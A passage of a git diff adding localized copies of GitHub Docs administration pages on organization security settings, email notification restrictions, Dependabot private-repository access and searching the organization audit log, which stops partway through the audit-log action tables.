+   {% ifversion fpt %}
+   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-fpt.png)
+   {% endif %}
+   {% ifversion ghec %}
+   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-ghas-ghec.png)
+   {% endif %}
+   {% ifversion ghes %}
+   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
+   {% endif %}
+   
+   
+   {% ifversion ghae %}
+   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/github-ae/organizations/security-and-analysis-disable-or-enable-all-ghae.png)
+   {% endif %}
+   {% ifversion fpt or ghec %}
+3. Optionally, enable the feature by default for new repositories in your organization.
+   {% ifversion fpt or ghec %}
+   !["Enable by default" option for new repositories](/assets/images/help/organizations/security-and-analysis-enable-by-default-in-modal.png)
+   {% endif %}
+   
+   {% endif %}
+   {% ifversion fpt or ghec %}
+4. Click **Disable FEATURE** or **Enable FEATURE** to disable or enable the feature for all the repositories in your organization.
+   {% ifversion fpt or ghec %}
+   ![Button to disable or enable feature](/assets/images/help/organizations/security-and-analysis-enable-dependency-graph.png)
+   {% endif %}
+   
+   {% endif %}
+   {% ifversion ghae or ghes %}
+5. Click **Enable/Disable all** or **Enable/Disable for eligible repositories** to confirm the change.
+   ![Button to enable feature for all the eligible repositories in the organization](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-secret-scanning-existing-repos-ghae.png)
+   {% endif %}
+
+   {% data reusables.security.displayed-information %}
+
+## Enabling or disabling a feature automatically when new repositories are added
+
+1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
+2. Under "Code security and analysis", to the right of the feature, enable or disable the feature by default for new repositories{% ifversion fpt or ghec %}, or all new private repositories,{% endif %} in your organization.
+   {% ifversion fpt or ghec %}
+   ![Screenshot of a checkbox for enabling a feature for new repositories](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png)
+   {% endif %}
+  {% ifversion ghes %}
+   ![Screenshot of a checkbox for enabling a feature for new repositories](/assets/images/enterprise/3.3/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png)
+   {% endif %}
+   
+   {% ifversion ghae %}
+   ![Screenshot of a checkbox for enabling a feature for new repositories](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-or-disable-secret-scanning-checkbox-ghae.png)
+   {% endif %}
+
+{% ifversion fpt or ghec or ghes %}
+
+## Allowing {% data variables.product.prodname_dependabot %} to access private dependencies
+
+{% data variables.product.prodname_dependabot %} can check for outdated dependency references in a project and automatically generate a pull request to update them. To do this, {% data variables.product.prodname_dependabot %} must have access to all of the targeted dependency files. Typically, version updates will fail if one or more dependencies are inaccessible. For more information, see "[About {% data variables.product.prodname_dependabot %} version updates](/github/administering-a-repository/about-dependabot-version-updates)."
+
+By default, {% data variables.product.prodname_dependabot %} can't update dependencies that are located in private repositories or private package registries. However, if a dependency is in a private {% data variables.product.prodname_dotcom %} repository within the same organization as the project that uses that dependency, you can allow {% data variables.product.prodname_dependabot %} to update the version successfully by giving it access to the host repository.
+
+If your code depends on packages in a private registry, you can allow {% data variables.product.prodname_dependabot %} to update the versions of these dependencies by configuring this at the repository level. You do this by adding authentication details to the _dependabot.yml_ file for the repository. For more information, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates#configuration-options-for-private-registries)."
+
+To allow {% data variables.product.prodname_dependabot %} to access a private {% data variables.product.prodname_dotcom %} repository:
+
+1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
+1. Under "{% data variables.product.prodname_dependabot %} private repository access", click **Add private repositories** or **Add internal and private repositories**.
+   ![Add repositories button](/assets/images/help/organizations/dependabot-private-repository-access.png)
+1. Start typing the name of the repository you want to allow.
+   ![Repository search field with filtered dropdown](/assets/images/help/organizations/dependabot-private-repo-choose.png)
+1. Click the repository you want to allow.
+
+1. Optionally, to remove a repository from the list, to the right of the repository, click {% octicon "x" aria-label="The X icon" %}.
+   !["X" button to remove a repository](/assets/images/help/organizations/dependabot-private-repository-list.png)
+{% endif %}
+
+{% ifversion ghes or ghec %}
+
+## Removing access to {% data variables.product.prodname_GH_advanced_security %} from individual repositories in an organization
+
+You can manage access to {% data variables.product.prodname_GH_advanced_security %} features for a repository from its "Settings" tab. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." However, you can also disable {% data variables.product.prodname_GH_advanced_security %} features for a repository from the "Settings" tab for the organization.
+
+1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
+1. To see a list of all the repositories in your organization with {% data variables.product.prodname_GH_advanced_security %} enabled, scroll to the "{% data variables.product.prodname_GH_advanced_security %} repositories" section.
+  ![{% data variables.product.prodname_GH_advanced_security %} repositories section](/assets/images/help/organizations/settings-security-analysis-ghas-repos-list.png)
+  The table lists the number of unique committers for each repository. This is the number of seats you could free up on your license by removing access to {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."
+1. To remove access to {% data variables.product.prodname_GH_advanced_security %} from a repository and free up seats used by any committers that are unique to the repository, click the adjacent {% octicon "x" aria-label="X symbol" %}.
+1. In the confirmation dialog, click **Remove repository** to remove access to the features of {% data variables.product.prodname_GH_advanced_security %}.
+
+{% note %}
+
+**Note:** If you remove access to {% data variables.product.prodname_GH_advanced_security %} for a repository, you should communicate with the affected development team so that they know that the change was intended. This ensures that they don't waste time debugging failed runs of code scanning.
+
+{% endnote %}
+
+{% endif %}
+
+## Further reading
+
+- "[Securing your repository](/code-security/getting-started/securing-your-repository)"{% ifversion not fpt %}
+- "[About secret scanning](/github/administering-a-repository/about-secret-scanning)"{% endif %}{% ifversion not ghae %}
+- "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)"{% endif %}
+- "[About supply chain security](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security)"
diff --git a/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization.md b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization.md
new file mode 100644
index 0000000000..17d74b6e6e
--- /dev/null
+++ b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization.md
@@ -0,0 +1,51 @@
+---
+title: Restricting email notifications for your organization
+intro: 'To prevent organization information from leaking into personal email accounts, you can restrict the domains where members can receive email notifications about organization activity.'
+permissions: Organization owners can restrict email notifications for an organization.
+redirect_from:
+  - /articles/restricting-email-notifications-about-organization-activity-to-an-approved-email-domain
+  - /articles/restricting-email-notifications-to-an-approved-domain
+  - /github/setting-up-and-managing-organizations-and-teams/restricting-email-notifications-to-an-approved-domain
+  - /organizations/keeping-your-organization-secure/restricting-email-notifications-to-an-approved-domain
+  - /organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization
+versions:
+  ghes: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Notifications
+  - Organizations
+  - Policy
+shortTitle: Restrict email notifications
+---
+
+## About email restrictions
+
+When restricted email notifications are enabled in an organization, members can only use an email address associated with a verified or approved domain to receive email notifications about organization activity. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+
+{% ifversion ghec %}
+{% note %}
+
+**Note:** To restrict email notifications, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %}
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.notifications.email-restrictions-verification %}
+
+Outside collaborators are not subject to restrictions on email notifications for verified or approved domains. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+
+If your organization is owned by an enterprise account, organization members will be able to receive notifications from any domains verified or approved for the enterprise account, in addition to any domains verified or approved for the organization. For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."
+
+## Restricting email notifications
+
+Before you can restrict email notifications for your organization, you must verify or approve at least one domain for the organization, or an enterprise owner must have verified or approved at least one domain for the enterprise account.
+
+For more information about verifying and approving domains for an organization, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.verified-domains %}
+{% data reusables.organizations.restrict-email-notifications %}
+6. Click **Save**.
diff --git a/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization.md b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization.md
new file mode 100644
index 0000000000..ddcbcd53d1
--- /dev/null
+++ b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization.md
@@ -0,0 +1,871 @@
+---
+title: Reviewing the audit log for your organization
+intro: 'The audit log allows organization admins to quickly review the actions performed by members of your organization. It includes details such as who performed the action, what the action was, and when it was performed.'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /articles/reviewing-the-audit-log-for-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/reviewing-the-audit-log-for-your-organization
+  - /organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Review audit log
+---
+
+## Accessing the audit log
+
+The audit log lists events triggered by activities that affect your organization within the current month and previous six months. Only owners can access an organization's audit log.
+
+{% data reusables.audit_log.only-three-months-displayed %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.audit_log.audit_log_sidebar_for_org_admins %}
+
+## Searching the audit log
+
+{% data reusables.audit_log.audit-log-search %}
+
+### Search based on the action performed
+
+To search for specific events, use the `action` qualifier in your query. Actions listed in the audit log are grouped within the following categories:
+
+| Category name | Description
+|------------------|-------------------{% ifversion fpt or ghec %}
+| [`account`](#account-category-actions) | Contains all activities related to your organization account.{% endif %}{% ifversion fpt or ghec %}
+| [`advisory_credit`](#advisory_credit-category-actions) | Contains all activities related to crediting a contributor for a security advisory in the {% data variables.product.prodname_advisory_database %}. For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."{% endif %}{% ifversion pat-v2%}
+| [`auto_approve_personal_access_token_requests`](#auto_approve_personal_access_token_requests-category-actions) | Contains activities related to your organization's approval policy for {% data variables.product.pat_v2 %}s. For more information, see "[Setting a {% data variables.product.pat_generic %} policy for your organization](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)."{% endif %}{% ifversion fpt or ghec %}
+| [`billing`](#billing-category-actions) | Contains all activities related to your organization's billing.{% endif %}{% ifversion fpt or ghec %}
+| [`business`](#business-category-actions) | Contains activities related to business settings for an enterprise. |{% endif %}{% ifversion fpt or ghec %}
+| [`codespaces`](#codespaces-category-actions) | Contains all activities related to your organization's codespaces. |{% endif %}
+| [`dependabot_alerts`](#dependabot_alerts-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in existing repositories. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
+| [`dependabot_alerts_new_repos`](#dependabot_alerts_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in new repositories created in the organization.{% ifversion fpt or ghec or ghes %}
+| [`dependabot_security_updates`](#dependabot_security_updates-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} in existing repositories. For more information, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)."
+| [`dependabot_security_updates_new_repos`](#dependabot_security_updates_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} for new repositories created in the organization.{% endif %}{% ifversion fpt or ghec %}
+| [`dependency_graph`](#dependency_graph-category-actions) | Contains organization-level configuration activities for dependency graphs for repositories. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
+| [`dependency_graph_new_repos`](#dependency_graph_new_repos-category-actions) | Contains organization-level configuration activities for new repositories created in the organization.{% endif %}
+| [`discussion_post`](#discussion_post-category-actions) | Contains all activities related to discussions posted to a team page.
+| [`discussion_post_reply`](#discussion_post_reply-category-actions) | Contains all activities related to replies to discussions posted to a team page.{% ifversion fpt or ghes or ghec %}
+| [`enterprise`](#enterprise-category-actions) | Contains activities related to enterprise settings. |{% endif %}
+| [`hook`](#hook-category-actions) | Contains all activities related to webhooks.
+| [`integration_installation`](#integration_installation-category-actions)  | Contains activities related to integrations installed in an account. |
+| [`integration_installation_request`](#integration_installation_request-category-actions) | Contains all activities related to organization member requests for owners to approve integrations for use in the organization. |{% ifversion ghec or ghae %}
+| [`ip_allow_list`](#ip_allow_list-category-actions) | Contains activities related to enabling or disabling the IP allow list for an organization.
+| [`ip_allow_list_entry`](#ip_allow_list_entry-category-actions) | Contains activities related to the creation, deletion, and editing of an IP allow list entry for an organization.{% endif %}
+| [`issue`](#issue-category-actions) | Contains activities related to deleting an issue. {% ifversion fpt or ghec %}
+| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | Contains all activities related to signing the {% data variables.product.prodname_marketplace %} Developer Agreement.
+| [`marketplace_listing`](#marketplace_listing-category-actions) | Contains all activities related to listing apps in {% data variables.product.prodname_marketplace %}.{% endif %}{% ifversion fpt or ghes or ghec %}
+| [`members_can_create_pages`](#members_can_create_pages-category-actions) | Contains all activities related to managing the publication of {% data variables.product.prodname_pages %} sites for repositories in the organization. For more information, see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." | {% endif %}
+| [`org`](#org-category-actions) | Contains activities related to organization membership.{% ifversion ghec %}
+| [`org_credential_authorization`](#org_credential_authorization-category-actions) | Contains all activities related to authorizing credentials for use with SAML single sign-on.{% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %}
+| [`org_secret_scanning_custom_pattern`](#org_secret_scanning_custom_pattern-category-actions) | Contains organization-level activities related to secret scanning custom patterns. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." {% endif %}
+| [`organization_default_label`](#organization_default_label-category-actions) | Contains all activities related to default labels for repositories in your organization.
+| [`oauth_application`](#oauth_application-category-actions) | Contains all activities related to OAuth Apps.
+| [`packages`](#packages-category-actions) | Contains all activities related to {% data variables.product.prodname_registry %}.{% ifversion fpt or ghec %}
+| [`payment_method`](#payment_method-category-actions) | Contains all activities related to how your organization pays for GitHub.{% endif %}{% ifversion pat-v2%}
+| [`personal_access_token`](#personal_access_token-category-actions) | Contains activities related to {% data variables.product.pat_v2 %}s in your organization. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."{% endif %}
+| [`profile_picture`](#profile_picture-category-actions) | Contains all activities related to your organization's profile picture.
+| [`project`](#project-category-actions) | Contains all activities related to project boards.
+| [`protected_branch`](#protected_branch-category-actions) | Contains all activities related to protected branches.
+| [`repo`](#repo-category-actions) | Contains activities related to the repositories owned by your organization.{% ifversion fpt or ghec %}
+| [`repository_advisory`](#repository_advisory-category-actions) | Contains repository-level activities related to security advisories in the {% data variables.product.prodname_advisory_database %}.  For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+| [`repository_content_analysis`](#repository_content_analysis-category-actions) | Contains all activities related to [enabling or disabling data use for a private repository](/articles/about-github-s-use-of-your-data).{% endif %}{% ifversion fpt or ghec %}
+| [`repository_dependency_graph`](#repository_dependency_graph-category-actions) | Contains repository-level activities related to enabling or disabling the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."{% endif %}{% ifversion ghes or ghae or ghec %}
+| [`repository_secret_scanning`](#repository_secret_scanning-category-actions) | Contains repository-level activities related to secret scanning. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." {% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %}
+| [`repository_secret_scanning_custom_pattern`](#repository_secret_scanning_custom_pattern-category-actions) | Contains repository-level activities related to secret scanning custom patterns. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." {% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %}
+| [`repository_secret_scanning_push_protection`](#repository_secret_scanning_push_protection-category-actions) | Contains repository-level activities related to secret scanning custom patterns. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)." {% endif %}
+| [`repository_vulnerability_alert`](#repository_vulnerability_alert-category-actions) | Contains all activities related to [{% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts).{% ifversion fpt or ghec %}
+| [`repository_vulnerability_alerts`](#repository_vulnerability_alerts-category-actions) | Contains repository-level configuration activities for {% data variables.product.prodname_dependabot_alerts %}.{% endif %}{% ifversion custom-repository-roles %}
+| [`role`](#role-category-actions) | Contains all activities related to [custom repository roles](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %}{% ifversion ghes or ghae or ghec %}
+| [`secret_scanning`](#secret_scanning-category-actions) | Contains organization-level configuration activities for secret scanning in existing repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+| [`secret_scanning_new_repos`](#secret_scanning_new_repos-category-actions) | Contains organization-level configuration activities for secret scanning for new repositories created in the organization. {% endif %}{% ifversion fpt or ghec %}
+| [`sponsors`](#sponsors-category-actions) | Contains all events related to sponsor buttons (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %}
+| [`team`](#team-category-actions) | Contains all activities related to teams in your organization.
+| [`team_discussions`](#team_discussions-category-actions) | Contains activities related to managing team discussions for an organization.
+| [`workflows`](#workflows-category-actions) | Contains activities related to {% data variables.product.prodname_actions %} workflows.
+
+You can search for specific sets of actions using these terms. For example:
+
+  * `action:team` finds all events grouped within the team category.
+  * `-action:hook` excludes all events in the webhook category.
+
+Each category has a set of associated actions that you can filter on. For example:
+
+  * `action:team.create` finds all events where a team was created.
+  * `-action:hook.events_changed` excludes all events where the events on a webhook have been altered.
+
+### Search based on time of action
+
+Use the `created` qualifier to filter events in the audit log based on when they occurred. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+
+{% data reusables.search.date_gt_lt %}
+
+For example:
+
+  * `created:2014-07-08` finds all events that occurred on July 8th, 2014.
+  * `created:>=2014-07-08` finds all events that occurred on or after July 8th, 2014.
+  * `created:<=2014-07-08` finds all events that occurred on or before July 8th, 2014.
+  * `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014.
+
+{% note %}
+
+**Note**: The audit log contains data for the current month and every day of the previous six months.
+
+{% endnote %}
+
+### Search based on location
+
+Using the qualifier `country`, you can filter events in the audit log based on the originating country. You can use a country's two-letter short code or its full name. Keep in mind that countries with spaces in their name will need to be wrapped in quotation marks. For example:
+
+  * `country:de` finds all events that occurred in Germany.
+  * `country:Mexico` finds all events that occurred in Mexico.
+  * `country:"United States"` all finds events that occurred in the United States.
+
+{% ifversion fpt or ghec %}
+## Exporting the audit log
+
+{% data reusables.audit_log.export-log %}
+
+{% data reusables.audit_log.git-events-export-limited %}
+
+{% data reusables.audit_log.exported-log-keys-and-values %}
+{% endif %}
+
+## Using the audit log API
+
+{% ifversion fpt %}
+
+Organizations that use {% data variables.product.prodname_ghe_cloud %} can interact with the audit log using the GraphQL API and REST API. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#using-the-audit-log-api).
+
+{% else %}
+
+You can interact with the audit log using the GraphQL API{% ifversion fpt or ghec %} or the REST API{% endif %}.{% ifversion read-audit-scope %} You can use the `read:audit_log` scope to access the audit log via the APIs.{% endif %}
+
+{% ifversion ghec %}
+
+{% note %}
+
+**Note:** To use the audit log API, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %}
+
+{% endnote %}
+
+### Using the GraphQL API
+
+{% endif %}
+
+To ensure your intellectual property is secure, and you maintain compliance for your organization, you can use the audit log GraphQL API to keep copies of your audit log data and monitor:
+{% data reusables.audit_log.audit-log-api-info %}
+
+{% ifversion ghec %}
+Note that you can't retrieve Git events using the GraphQL API. To retrieve Git events, use the REST API instead. For more information, see "[`git` category actions](#git-category-actions)."
+{% endif %}
+
+The GraphQL response can include data for up to 90 to 120 days.
+
+For example, you can make a GraphQL request to see all the new organization members added to your organization. For more information, see the "[GraphQL API Audit Log](/graphql/reference/interfaces#auditentry/)."
+
+{% ifversion ghec %}
+
+### Using the REST API
+
+To ensure your intellectual property is secure, and you maintain compliance for your organization, you can use the audit log REST API to keep copies of your audit log data and monitor:
+{% data reusables.audit_log.audited-data-list %}
+
+{% data reusables.audit_log.audit-log-git-events-retention %}
+
+By default, only events from the past three months are returned. To include older events, you must specify a timestamp in your query.
+
+For more information about the audit log REST API, see "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)."
+
+{% endif %}
+{% endif %}
+
+## Audit log actions
+
+An overview of some of the most common actions that are recorded as events in the audit log.
+
+{% ifversion fpt or ghec %}
+### `account` category actions
+
+| Action | Description
+|------------------|-------------------
+| `billing_plan_change` | Triggered when an organization's [billing cycle](/articles/changing-the-duration-of-your-billing-cycle) changes.
+| `plan_change` | Triggered when an organization's [subscription](/articles/about-billing-for-github-accounts) changes.
+| `pending_plan_change` | Triggered when an organization owner or billing manager [cancels or downgrades a paid subscription](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process/).
+| `pending_subscription_change` | Triggered when a [{% data variables.product.prodname_marketplace %} free trial starts or expires](/articles/about-billing-for-github-marketplace/).
+{% endif %}
+
+{% ifversion fpt or ghec %}
+### `advisory_credit` category actions
+
+| Action | Description
+|------------------|-------------------
+| `accept` | Triggered when someone accepts credit for a security advisory. For more information, see "[Editing a security advisory](/github/managing-security-vulnerabilities/editing-a-security-advisory)."
+| `create` | Triggered when the administrator of a security advisory adds someone to the credit section.
+| `decline` | Triggered when someone declines credit for a security advisory.
+| `destroy` | Triggered when the administrator of a security advisory removes someone from the credit section.
+{% endif %}
+
+{% ifversion pat-v2 %}
+
+### `auto_approve_personal_access_token_requests` category actions
+
+| Action | Description
+|------------------|-------------------
+| `disable` | Triggered when the organization must approve {% data variables.product.pat_v2 %}s before the tokens can access organization resources. For more information, see "[Setting a {% data variables.product.pat_generic %} policy for your organization](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)."
+| `enable` | Triggered when {% data variables.product.pat_v2 %}s can access organization resources without prior approval. For more information, see "[Setting a {% data variables.product.pat_generic %} policy for your organization](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)."
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+### `billing` category actions
+
+| Action | Description
+|------------------|-------------------
+| `change_billing_type` | Triggered when your organization [changes how it pays for {% data variables.product.prodname_dotcom %}](/articles/adding-or-editing-a-payment-method).
+| `change_email` | Triggered when your organization's [billing email address](/articles/setting-your-billing-email) changes.
+{% endif %}
+
+### `business` category actions
+
+| Action | Description
+|------------------|-------------------{% ifversion fpt or ghec %}
+| `set_actions_fork_pr_approvals_policy` | Triggered when the setting for requiring approvals for workflows from public forks is changed for an enterprise. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-your-enterprise)."{% endif %}
+| `set_actions_retention_limit` | Triggered when the retention period for {% data variables.product.prodname_actions %} artifacts and logs is changed for an enterprise. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)."{% ifversion fpt or ghes or ghec %}
+| `set_fork_pr_workflows_policy` | Triggered when the policy for workflows on  private repository forks is changed. For more information, see "{% ifversion fpt or ghec%}[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-private-repositories){% else ifversion ghes > 2.22 %}[Enabling workflows for private repository forks](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enforcing-github-actions-policies-for-your-enterprise#enabling-workflows-for-private-repository-forks){% endif %}."{% endif %}
+
+{% ifversion fpt or ghec %}
+### `codespaces` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when a user [creates a codespace](/github/developing-online-with-codespaces/creating-a-codespace).
+| `resume` | Triggered when a user resumes a suspended codespace.
+| `delete` | Triggered when a user [deletes a codespace](/github/developing-online-with-codespaces/deleting-a-codespace).
+| `create_an_org_secret` | Triggered when a user creates an organization-level [secret for {% data variables.product.prodname_github_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces)
+| `update_an_org_secret` | Triggered when a user updates an organization-level [secret for {% data variables.product.prodname_github_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces).
+| `remove_an_org_secret` | Triggered when a user removes an organization-level [secret for {% data variables.product.prodname_github_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces).
+| `manage_access_and_security` | Triggered when a user updates [which repositories a codespace can access](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).
+{% endif %}
+
+### `dependabot_alerts` category actions
+
+| Action | Description
+|------------------|-------------------
+| `disable` | Triggered when an organization owner disables {% data variables.product.prodname_dependabot_alerts %} for all existing {% ifversion fpt or ghec %}private {% endif %}repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+| `enable` | Triggered when an organization owner enables {% data variables.product.prodname_dependabot_alerts %} for all existing {% ifversion fpt or ghec %}private {% endif %}repositories.
+
+### `dependabot_alerts_new_repos` category actions
+
+| Action | Description
+|------------------|-------------------
+| `disable` | Triggered when an organization owner disables {% data variables.product.prodname_dependabot_alerts %} for all new {% ifversion fpt or ghec %}private {% endif %}repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+| `enable` | Triggered when an organization owner enables {% data variables.product.prodname_dependabot_alerts %} for all new {% ifversion fpt or ghec %}private {% endif %}repositories.
+
+{% ifversion fpt or ghec or ghes %}
+### `dependabot_security_updates` category actions
+
+| Action | Description
+|------------------|-------------------
+| `disable` | Triggered when an organization owner disables {% data variables.product.prodname_dependabot_security_updates %} for all existing repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+| `enable` | Triggered when an organization owner enables {% data variables.product.prodname_dependabot_security_updates %} for all existing repositories.
+
+### `dependabot_security_updates_new_repos` category actions
+
+| Action | Description
+|------------------|-------------------
+| `disable` | Triggered when an organization owner disables {% data variables.product.prodname_dependabot_security_updates %} for all new repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+| `enable` | Triggered when an organization owner enables {% data variables.product.prodname_dependabot_security_updates %} for all new repositories.
+{% endif %}
+
+{% ifversion fpt or ghec %}
+### `dependency_graph` category actions
+
+| Action | Description
+|------------------|-------------------
+| `disable` | Triggered when an organization owner disables the dependency graph for all existing repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+| `enable` | Triggered when an organization owner enables the dependency graph for all existing repositories.
+
+### `dependency_graph_new_repos` category actions
+
+| Action | Description
+|------------------|-------------------
+| `disable` | Triggered when an organization owner disables the dependency graph for all new repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+| `enable` | Triggered when an organization owner enables the dependency graph for all new repositories.
+{% endif %}
+
+### `discussion_post` category actions
+
+| Action | Description
+|------------------|-------------------
+| `update` | Triggered when [a team discussion post is edited](/articles/managing-disruptive-comments/#editing-a-comment).
